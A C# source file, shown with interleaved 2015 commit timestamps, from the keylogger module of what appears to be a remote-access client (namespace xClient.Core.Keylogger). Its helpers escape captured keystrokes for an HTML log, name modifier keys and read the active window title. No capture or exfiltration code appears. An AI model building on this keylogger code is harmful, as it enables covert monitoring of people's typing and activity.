2015-05-23 13:57:38 +00:00
|
|
|
|
using System.Text;
|
|
|
|
|
|
|
|
|
|
namespace xClient.Core.Keylogger
|
|
|
|
|
{
|
|
|
|
|
public class LoggerHelper
|
|
|
|
|
{
|
|
|
|
|
public static string Filter(char key)
|
|
|
|
|
{
|
2015-05-23 15:54:24 +00:00
|
|
|
|
if ((int)key < 32) return string.Empty;
|
|
|
|
|
|
2015-05-23 13:57:38 +00:00
|
|
|
|
switch (key)
|
|
|
|
|
{
|
|
|
|
|
case '<':
|
|
|
|
|
return "<";
|
|
|
|
|
case '>':
|
|
|
|
|
return ">";
|
|
|
|
|
case '#':
|
|
|
|
|
return "#";
|
|
|
|
|
case '&':
|
|
|
|
|
return "&";
|
|
|
|
|
case '"':
|
|
|
|
|
return """;
|
|
|
|
|
case '\'':
|
|
|
|
|
return "'";
|
2015-05-24 00:25:13 +00:00
|
|
|
|
case ' ':
|
|
|
|
|
return " ";
|
2015-05-23 13:57:38 +00:00
|
|
|
|
}
|
|
|
|
|
return key.ToString();
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public static string GetDisplayName(string key)
|
|
|
|
|
{
|
|
|
|
|
if (key.Contains("ControlKey"))
|
|
|
|
|
return "Control";
|
|
|
|
|
else if (key.Contains("Menu"))
|
|
|
|
|
return "Alt";
|
|
|
|
|
else if (key.Contains("Win"))
|
|
|
|
|
return "Win";
|
2015-05-23 15:54:24 +00:00
|
|
|
|
else if (key.Contains("Shift"))
|
|
|
|
|
return "Shift";
|
2015-05-23 13:57:38 +00:00
|
|
|
|
return key;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public static string GetActiveWindowTitle()
|
|
|
|
|
{
|
|
|
|
|
StringBuilder sbTitle = new StringBuilder(1024);
|
|
|
|
|
|
|
|
|
|
WinApi.ThreadNativeMethods.GetWindowText(WinApi.ThreadNativeMethods.GetForegroundWindow(), sbTitle,
|
|
|
|
|
sbTitle.Capacity);
|
|
|
|
|
|
|
|
|
|
string title = sbTitle.ToString();
|
|
|
|
|
|
|
|
|
|
return (!string.IsNullOrEmpty(title)) ? title : null;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|